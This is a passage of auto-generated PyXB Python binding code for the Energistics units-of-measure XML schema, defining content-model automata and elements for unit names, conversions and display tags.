transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) eventType._Automaton = _BuildAutomaton_4() abstractFeatureType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Text'), pyxb.binding.datatypes.string, scope=abstractFeatureType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4))) def _BuildAutomaton_5 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_5 del _BuildAutomaton_5 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(abstractFeatureType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Text')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) abstractFeatureType._Automaton = _BuildAutomaton_5() identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=identifierType, documentation='\nThe name of the object being identified. It may or may not be a unique name, depending on the use of this type. When used as an "identifier," it should be a unique name, within the naming system. When used as an "alias," the name is not required to be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4))) identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem'), pyxb.binding.datatypes.string, scope=identifierType, documentation="\nThe naming system under which the name is defined. For example, if the name is a person's social security number, the naming system would be SSN, or some equivalent code which represents that the name is a social security number. Since naming system may be a code, there are two attributes (nameRef and systemList), which may be used to lead an application to a registry, where meaning can be obtained for the code. \n ", location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6))) identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Version'), pyxb.binding.datatypes.string, scope=identifierType, documentation='\nWhen a naming system is declared, it may be further qualified by giving a version of the\nnaming system. This is needed only when a group puts out a new set of names that are not\nbackward compatible with a previous list.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6))) identifierType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=identifierType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4))) def _BuildAutomaton_6 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_6 del _BuildAutomaton_6 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 306, 4)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4)) counters.add(cc_2) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Version')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(identifierType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True), fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False), fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) identifierType._Automaton = _BuildAutomaton_6() CTD_ANON._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), documentInfoType, scope=CTD_ANON, documentation='\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0))) CTD_ANON._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition'), CTD_ANON_, scope=CTD_ANON, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6))) def _BuildAutomaton_7 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_7 del _BuildAutomaton_7 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(CTD_ANON._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 27, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(CTD_ANON._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON._Automaton = _BuildAutomaton_7() CTD_ANON_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure'), unitDictionaryType, scope=CTD_ANON_, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12))) def _BuildAutomaton_8 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_8 del _BuildAutomaton_8 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(CTD_ANON_._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON_._Automaton = _BuildAutomaton_8() baseUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Description'), pyxb.binding.datatypes.string, scope=baseUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2))) baseUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority'), pyxb.binding.datatypes.string, scope=baseUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2))) def _BuildAutomaton_9 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_9 del _BuildAutomaton_9 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2)) counters.add(cc_1) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(baseUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(baseUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) baseUnitType._Automaton = _BuildAutomaton_9() compositeUnitType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm'), CTD_ANON_2, scope=compositeUnitType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4))) def _BuildAutomaton_10 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_10 del _BuildAutomaton_10 import pyxb.utils.fac as fac counters = set() states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(compositeUnitType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) compositeUnitType._Automaton = _BuildAutomaton_10() conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Description'), pyxb.binding.datatypes.string, scope=conversionType, documentation='\nA definition, description, or other comment about the unit of measure.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2))) conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Factor'), pyxb.binding.datatypes.double, scope=conversionType, documentation='\nIf A = D = 0, and C = 1, the value of B becomes a factor. For example, \nthe conversion of an international foot to a metre is with Factor=".3048"\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4))) conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Fraction'), CTD_ANON_3, scope=conversionType, documentation="\nIf A = D = 0, B and C represent a fraction. For example, the conversion of a \nUS Survey foot to a metre is given with the fraction of 12 / 39.37. Hence,\n Numerator = '12', Denominator = '39.37'\n ", location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4))) conversionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Formula'), CTD_ANON_4, scope=conversionType, documentation='\nA few units of measure do not have a factor or fraction. For example the \nconversion from degrees Celcius to Kelvin is given as degK = 273.15 + degC. \nHence, A = "273.15", B = "1.", C = "1.", D = "0."\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4))) def _BuildAutomaton_11 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_11 del _BuildAutomaton_11 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 426, 2)) counters.add(cc_1) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 377, 2)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Factor')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 385, 4)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Fraction')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 393, 4)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Formula')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 408, 4)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(conversionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Description')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 426, 2)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) conversionType._Automaton = _BuildAutomaton_11() CTD_ANON_3._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Numerator'), pyxb.binding.datatypes.double, scope=CTD_ANON_3, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8))) CTD_ANON_3._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Denominator'), pyxb.binding.datatypes.double, scope=CTD_ANON_3, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8))) def _BuildAutomaton_12 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_12 del _BuildAutomaton_12 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Numerator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 403, 8)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(CTD_ANON_3._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Denominator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 404, 8)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON_3._Automaton = _BuildAutomaton_12() CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'A'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8))) CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'B'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8))) CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'C'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8))) CTD_ANON_4._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'D'), pyxb.binding.datatypes.double, scope=CTD_ANON_4, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8))) def _BuildAutomaton_13 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_13 del _BuildAutomaton_13 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8)) counters.add(cc_1) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'A')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 418, 8)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = None symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'B')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 419, 8)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'C')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 420, 8)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(CTD_ANON_4._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'D')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 421, 8)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) CTD_ANON_4._Automaton = _BuildAutomaton_13() displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'sup'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4))) displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'sub'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4))) displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'gr'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4))) def _BuildAutomaton_14 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_14 del _BuildAutomaton_14 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 449, 2)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'sup')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'sub')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'gr')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) st_2._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) displayType._Automaton = _BuildAutomaton_14() unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThe dimensional analysis of the unit. For example, a metre (m) would be of class [L], which represents length. A foot (ft) would also be in this class. Abbreviations used are L = length, M = mass, T = time, 1 = dimensionless, K = temperature, C = current, N = amount (mole), A = angle (radian), S = solid angle (sr), B = light amount (cd). For consistency, the values are broken into numerator and denominator, separated by a slash (/), in alphabetical order (LM, not ML). \n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SameUnit'), sameUnitType, scope=unitDictionaryType, documentation='\nA unit of measure may have different expressions in different registries. \nThis allows zero or more of these mappings to be recorded. The SameUnit \nallows a uom and a naming system to be given. The uom is presumably the \nunique symbol in the other system.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), explicitType, scope=unitDictionaryType, documentation='\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Display'), displayType, scope=unitDictionaryType, documentation='\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Deprecated'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThis element is used to indicate that a unit is being deprecated. Normally, this means that the symbol representing the unit is no longer to be used (CatalogSymbol). It is generally replaced by another instance of the unit, which has a different symbol. For example, a cubic foot, with symbol, cu ft, would be deprecated, but there would be another instance of cubic foot, with symbol, ft3. The value of the instance repesents the version of the dictionary for which the value is first deprecated. A deprecated unit (symbol) is carried for backward compatibility, but will, at some point, be removed.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), baseUnitType, scope=unitDictionaryType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), conversionType, scope=unitDictionaryType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6))) unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), compositeUnitType, scope=unitDictionaryType, documentation='\nA composite unit can be formed by an algebra of units. For example, a foot \nper second (quantity type of velocity) can be formed by a foot divided by \na second. This element allows the registry to identify composite units. \nNote that a composite unit is chosen to represent a quantity type.\nExample: metre per second. This uom is the base unit for the quantity type \nof velocity. A foot per second is also a composite unit, and can be converted \nto the base unit by defining a conversion formula.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4))) def _BuildAutomaton_15 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_15 del _BuildAutomaton_15 import pyxb.utils.fac as fac counters = set() cc_0 = 